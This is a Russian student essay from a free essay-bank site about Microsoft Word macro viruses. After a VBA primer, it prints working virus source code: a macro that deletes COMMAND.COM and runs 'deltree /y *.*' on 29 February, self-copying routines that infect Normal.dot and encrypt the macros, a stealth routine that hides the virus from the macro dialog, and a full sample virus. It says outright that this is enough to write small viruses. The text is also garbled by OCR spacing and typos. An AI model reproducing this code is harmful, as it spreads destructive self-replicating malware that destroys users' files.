Реферат: Макровирусы - текст реферата. Скачать бесплатно.
Банк рефератов, курсовых и дипломных работ. Много и бесплатно. # | Правила оформления работ | Добавить в избранное
 
 
   
Меню Меню Меню Меню Меню
   
Napishem.com Napishem.com Napishem.com

Реферат

Макровирусы

Банк рефератов / Программирование

Рубрики  Рубрики реферат банка

закрыть
Категория: Реферат
Язык реферата: Русский
Дата добавления:   
 
Скачать
Архив Zip, 20 kb, скачать бесплатно
Заказать
Узнать стоимость написания уникального реферата

Узнайте стоимость написания уникальной работы

МАКРО-ВИРУСЫ В этой главе рассказано о макровирусах . Подробно оп и- сана процедура и методы за- ражения файлов . Представлен исходный текст макровируса с подробными комментария- ми . Приведены основные с ведения о языке VBA, его про- цедурах , функциях , стандарт- ных конструкциях. Как известно , в последнее время большое расп ространение получили макро-вирусы . По сведениям из различ ных источников , на эти вирусы приходится от 70 до 80 процентов заражений . Изложенный ниже м ате- риал поможет разобраться в вирусах этого типа . Инструментарий Для изучения макро-вирусов понадобится некоторое программное обес- печение . В кач естве "полигона " необходим MS-WORD версии 6.0 или выше . Для изучения зашифрованных макросов может пр игодиться диз- ассемблер макросов (автор AURODREPH из VBB). Для более полного понимания всего изложенног о ниже же л ательно иметь базовые знания о WORD BASIC. Чтобы обезопасить рабочие файлы от пл одов экспериментов , настоя- тельно рекомендуется создать резервную копию шаблона NORMAL.DOT в каталог е WINWORD6\ TEMPLATE, так как именно этот документ обычно заражается макро- вирусом . Когда все гото во , са- мое время перейти к основам макро-в ирусов . Общие сведения Макрос - это программа , написанная на н екотором языке , которая ис- пользуется обычно для автоматизации определенных процессов внутри приложений . В данном случае разг овор п ойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft исп ользует в своих программах (в частности , Excel, Project и PowerPoint используют VBA, a WinWord - WB). Далее будем считать стандартным языком VBA, так как он пр едставля- ет собой п опытку унифицировать макроязык , сделать его о бщим для всех программ Microsoft. Несмотря на то , что WB имеет некоторые от- личия , в том числ е и в синтаксисе , структура кода этих языков похожа. При необходимости будет особо отмечено , что речь идет о WB. Макрос VBA - это вызываемые процедуры . Они бывают двух типов : процедуры-подпрограммы и процедуры-функции . Процедуры-подпрограммы могут исполняться непо средственно или вы- зываться из других макрос ов . Синтаксис их следующий : Sub <Имя _Мак роса > -> код макроса <- 'Комментарий начинается с апострофа End Sub Пример ; 'Данный макрос открывает диалоговое окн о и выводит сообщение Sub Stupid_Greeting MsgBox "Hello World!" End Sub Процедуры-функции (также называемые просто функциями ) возвраща- ют значение , которое может быть передано в качестве параметра друго й процедуре . Их синтаксис : Function <Имя _Функции >(Аргументы ) -> Инструкции <- 'Комментарий End Function Пример : ' Суммирует параметры а и b и во звращает 'результат в переменную "AddAB" Function AddAB(a.b) AddAB=a+b End Function Конечно , в документ можно вст авить столько макросов , сколько нужно (или сколько хочется ), ограничений на их количест во нет . Набор мак- росов (процедур-подпрогр амм и процедур-функций ), составляющих до- кумент , называется модулем VBA. Язык VBA работает также с объектами (внут ри модулей VBA можно делать ссылки на документы , графику ). Объекты обладают свойствами. Например , свойством (или атрибутом ) объекта является его цвет . VBA также позволяет работать с переменным и . Как любой язык струк- турного типа , VBA име ет типичные конструкции : цикл "For-next": Sub Counter " Процедура lnfect_Num=0 For Count=1 to 10 ' Цикл от 1 до 10 lnfect_Num=lnfect_Num +Count Next Count MsgBox "Достигли максимального количеств а заражений " End Sub 4-1436 условие "If-then": Sub lnfect_Check If lnfect_Num=0 Then MsgBox " Файл не заражен " End Sub конструкция "With-end with" (используется для работы с несколькими свойствами конкретного объекта ): Sub ChangeProperties With Selection .Font.Bold=True .Font.Colorlndex=3 ' красный цвет End With End Sub селектор "Select case-end case": Sub CheckJnfection Select Case lnfect_Num Case 0 MsgBox "Файл не заражен " Case is > О MsgBox "Файл заражен " Case is < О lnfect_Num=0 En d Case End Sub Полезным инструментом для работы с VBA я вляется окно отладки. В нем можно трассироват ь код , вносить в него изменения и дела ть мно- гое другое . В процессе отладки для остановки на некоторое время ис- полнения кода используются флаги . Чтобы можно было анализировать содержимое конкретных переменных и /или инструкций , после каждой команды в ыводятся сообщения (в отладчике VBA для прерыван ия ис- полнения кода можно ставить также контрольные точки ). Нужно обратить внимание на разнообразные аргумен ты функций. Как уже говорилось , структура их следующая : Function <Имя >(Аргументы ) [.] End Function Аргументами могут быть константы , перемен ные или выражения. Процедуры могут быть и без аргументов . Function Get_Name() Name=Application.UserName End Function Некоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргумен тов, а остальные могут отсутствовать . После того , как осн овы VBA стали понятны , идем дальше . Итак , виру- сы и "троя нцы " на VBA. Язык VBA универсален , и тому есть две причины . Во-первых , этот язык прост в изучен ии и использовании , поскольку он является языком ви- зуального программирования , он ориенти рован на со бытия , а не на объекты . С его помощью без особых затрат времени очень легко созда- вать сложные модули . В о вторых , можно использовать большое количе- с тво предопределенных функций , облегчающих работу . В третьих , име- ются функции (или макросы ) автоматичес к ого выполнения , что позв оляет упростить написание процедур автокопирован ия , занесения в память и прочих используемых стандартными DOS-вирусами . Помимо этого , преимуществом VBA является сво йство переносимости. VBA работает под Win З.х , Win95, WinNT, MacOS и так далее , то есть в любой опер ационной системе , где можно запустить приложе ния его поддерживающие . VBA представляет собой язык , адаптированный к языку приложения, из-под которого он запу щен . Это означает , что если на компьютере ус- тановлена , например, испанская версия WinWord, то имена предопреде- ленных функций будут также на испанском . Так что два следующ их макроса - вовсе не одно и то же . Первый макрос ( испанский ): Sub Demo_Macro Con Seleccion.Fuente .Nombre="Times" Fin Con End Sub Второй макрос ( английский ): Sub Demo_Macro With Selection.Font .Name="Times" 4* End With End Sub Последний макрос не будет работать в испанской версии WinWord (а первый - в английск ой ) - он вызовет ошибку выполнения макрос а. Еще отметим , что VBA - язык интерпретируемого (н екомпилируемого ) типа , так что каждая ошибка выполнения проявляется "в полете ". Существуют функции , единые для всех ве рсий VBA, вне зависимости от языка . Например , авт оматический макрос AutoExec. Всего таких специальных макросов пять , выполняются они автомати- чески : AutoExec: это макрос , активируемый при загрузке текстового процессо- ра , но только в том случае , если он сохранен в шаблоне Normal.dot или в каталоге стандартных при ложений ; AutoNew: активизируется при создании нового д окумента ; AutoOpen: активизируется при открытии существующег о документа ; AutoClose: активизируется при закрытии документа ; AutoExit: активизируется при выходе из текстов ого процессора . В качестве д оказательства силы и универсальности этих макросов рас- смотрим с ледующий фрагмент кода (о языке уже догово рились ). 'Макрос наиболее эффективен , если его сохранить как AutoExit Sub Main 'Проверим регистрационное имя If Application. Username <> "MaD_MoTHe R" Then ' Снимем атрибуты COMMAND.COM SetAttr "C:\COMMAND.COM",0 ' Откроем для проверки - вдруг появятся ошибки Open "CACOMMAND.COM" for Output as #1 'Если ошибки есть , то закрое м. Close #1 ' и удалим Kill "CACOMMAND.COM" End If 'Проверим месяц и дату . Если 29 февраля , то выполним 'команду "deltree /у >nul If Month(Now())=2 Then If Day(Now())=29 Then Shell "deltree /y *.* >nu" End If End If End Sub Что делает этот м акрос ? При выходе и з WinWord он проверяет два па- раме тра : имя , на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля , выполняется команда "deltree /у *.* > nub). Очень важно знать , как а даптироват ь автоматический макрос (ниже приведен простейший вариант ), чтобы активизировать его в откр ывае- мый по умолчанию шаблон WinWord. Это делается так : Определяется переменная , в которую записы вается полное имя макроса : name$=WindowName$()+":AutoN ew" 'этот макрос будет выполняться каждый раз 'при создании нового документа Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко- мандой : MacroCopy name$, "Global:AutoNew" Это стандартный способ работы макро-вирус ов , но есть еще много дру- гих , более интересных способов заражения . Всего то и нужно , что не- много воображения и нескол ько строчек кода . Одним из трюков , кото- ры й усложняет подобные вирусы и затрудняет их анализ , является кодирование макро-вирусов . MacroCopy "MyTemplate:MyMacro", " GlobahAutoClose", 1 Если выполняется команда MacroCopy с параметром , равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос , который нельзя редактироват ь . Большинство макро-вирусов имеют ти пичную структуру . Они начина- ются с автовыпол няемого макроса , заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы , которые зара- жают файлы при опред еленных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражают ся при совершении над ними опера- ций вир усными макросами , то есть они будут инфици роваться при открытии . Код для процедуры автовыполнения может выглядеть примерно так : Sub MAIN On Error Goto Abort iMacroCount=CountMacros(0, 0) ' Проверка на зараженность For i=1 To iMacroCount If MacroName$(i, 0, 0)="PayLoad" Then binstalled =-1 ' с помощью макроса Payload End If If MacroName$(i, 0, 0)="FileSaveAs" Then bTooMuchTrouble =-1 'но если есть макрос FileSaveAs, 'то заразить тяжело End If Next i If Not binstalled And Not bTooMuchTrouble Then 'Добавим макросы FileSaveAs и копии AutoExec и FileSave 'Payload используется только для проверки н а зараженность ',1 - кодирует макросы , делая их нечитаемыми в Word iWW6llnstance=Val(GetDocumentVar$("WW6lnfector")) sMe$=FileName$() Macro$=sMe$+":PayLoad" MacroCopy Macro$, "Global:PayLoad", 1 Macro$=sMe$+":FileOpen" 'Будет происходить заражение MacroCopy Macro$, "GlobahFileOpen", 1 Macro$=sMe$+":FileSaveAs" MacroCopy Macro$, "GlobahFileSaveAs", 1 Macro$=sMe$+":AutoExec" MacroCopy Macro$, "GlobahAutoExec", 1 SetProfileString "WW6I", Str$(iWW6llnstance+1) End If Abort: End Sub Процедура SaveAs Она копирует макро-вирус в активный до кумент при его сохранении через команду File/SaveAs. Э та процедура использует во многом схо- жую с процедурой AutoExec технологию . Код для нее : Sub MAIN Dim dig As FileSaveAs GetCurValues dig Dialog dig If (Dlg.Format=0) Or (dlg.Format=1) Then MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs" ' Заражает при сохранении документа MacroCopy "FileSave", WindowName$()+":FileSave" MacroCopy "PayLoad", WindowName$()+":PayLoad" Ma croCopy "FileOpen", WindowName$()+":FileOpen" 'При открытии документа Dlg.Format=1 End If FileDaveAs dig End Sub Этой информации вполне достаточно для создания небольших макро- вирусов . Специальные процедуры Существует несколько способов скрыть виру с или сделать его более эффективным . На пример , можно создать специальный макрос , пряч у- щий вирус , если Tools/Macro открывается для просмотр а . Код такого макроса может выглядеть примерн о так : Sub MAIN On Error Goto ErrorRoutine OldName$=NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dig As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dig If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog di g OutilsMacro dig Skip: On Error Goto ErrorRoutine ' При ошибке на выход End If REM enable automacros DisableAutoMacros 0 macros. SavToGlobal(01dName$) macros.objectiv Goto Done ' Переход на метку Done ErrorRoutine: On Error Goto Done " Переход на метк у Done If macros.bDebug Then MsgBox "error "+Str$(Err)+" occurred" ' Сообщение об ошибке End If Done: End Sub Макро-вирусы также могут включать внешние процедуры . Например, вирус Nuclear пытается откомпилир овать и запустить внешний файл-разносчик вируса , некоторые троянские макросы пытаются ф ор- матировать винчестер при открытии документа . Пример макро-вируса Выше были изложены основы для изучени я макро-вирусов . Пришло время рассмотреть исходны е тексты . Macro name: AutoNew [AUTONEW] "U" Encryption key : DF Sub MAIN 'Включаем обработку автоматических макросов DisableAutoMacros 0 'Проверим , установлен ли макрос . Если макрос AutoExec 'присутствует , считаем , что файл з аражен If (lnstalled=0) And (Forgetlt=0) Then 'Заразим . Копируем макрос MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1 MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1 MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1 MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1 MacroCopy WindowName$()+":DateiSpeichernUnter", "Global.-DateiSpeichernllnter", 1 MacroCopy WindowName$()+":DateiBeenden", "GlobahDateiBeenden", 1 MacroCopy WindowName$() + ": Extras Optionen ", "Global :ExtrasOptionen", 1 MacroCopy WindowName$()+":DateiDokvorlagen", "GlobaLDateiDokvorlagen", 1 MacroCopy WindowName$()+":lt", "Global:lt", 1 MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1 End If End Sub 'Функция проверяет , инсталлирован ли макрос AutoExec Function Installed 'Установим переменную Installed в 0 (инициализация переменной ). "При положительном результате пров ерки установим ее в 1 lnstalled=0 'Проверим , есть ли макросы If CountMacros(O) > 0 Then "Про верим имена макросов . Если е сть AutoExec, "установим переменную Installed в 1 For i=1 To CountMacros(O) If MacroName$(i, 0)="AutoExec" Then lnstalled=1 End If Next i End If End Function Function Forgetit Forgetlt=0 Section$="Compatibility" ProfilName$="Nomvir" BlaBla$=GetProfileString$(Section$, ProfilName$) If BlaBla$="Ox0690690" Then Forgetlt=1 End If End Function
1Архитектура и строительство
2Астрономия, авиация, космонавтика
 
3Безопасность жизнедеятельности
4Биология
 
5Военная кафедра, гражданская оборона
 
6География, экономическая география
7Геология и геодезия
8Государственное регулирование и налоги
 
9Естествознание
 
10Журналистика
 
11Законодательство и право
12Адвокатура
13Административное право
14Арбитражное процессуальное право
15Банковское право
16Государство и право
17Гражданское право и процесс
18Жилищное право
19Законодательство зарубежных стран
20Земельное право
21Конституционное право
22Конституционное право зарубежных стран
23Международное право
24Муниципальное право
25Налоговое право
26Римское право
27Семейное право
28Таможенное право
29Трудовое право
30Уголовное право и процесс
31Финансовое право
32Хозяйственное право
33Экологическое право
34Юриспруденция
 
35Иностранные языки
36Информатика, информационные технологии
37Базы данных
38Компьютерные сети
39Программирование
40Искусство и культура
41Краеведение
42Культурология
43Музыка
44История
45Биографии
46Историческая личность
47Литература
 
48Маркетинг и реклама
49Математика
50Медицина и здоровье
51Менеджмент
52Антикризисное управление
53Делопроизводство и документооборот
54Логистика
 
55Педагогика
56Политология
57Правоохранительные органы
58Криминалистика и криминология
59Прочее
60Психология
61Юридическая психология
 
62Радиоэлектроника
63Религия
 
64Сельское хозяйство и землепользование
65Социология
66Страхование
 
67Технологии
68Материаловедение
69Машиностроение
70Металлургия
71Транспорт
72Туризм
 
73Физика
74Физкультура и спорт
75Философия
 
76Химия
 
77Экология, охрана природы
78Экономика и финансы
79Анализ хозяйственной деятельности
80Банковское дело и кредитование
81Биржевое дело
82Бухгалтерский учет и аудит
83История экономических учений
84Международные отношения
85Предпринимательство, бизнес, микроэкономика
86Финансы
87Ценные бумаги и фондовый рынок
88Экономика предприятия
89Экономико-математическое моделирование
90Экономическая теория

 Анекдоты - это почти как рефераты, только короткие и смешные Следующий
Осень... Отдохнув и набравшись сил и здоровья на дачах, пенсионеры возвращаются в поликлиники.
Anekdot.ru

Узнайте стоимость курсовой, диплома, реферата на заказ.

Обратите внимание, реферат по программированию "Макровирусы", также как и все другие рефераты, курсовые, дипломные и другие работы вы можете скачать бесплатно.

Смотрите также:


Банк рефератов - РефератБанк.ру
© РефератБанк, 2002 - 2016
Рейтинг@Mail.ru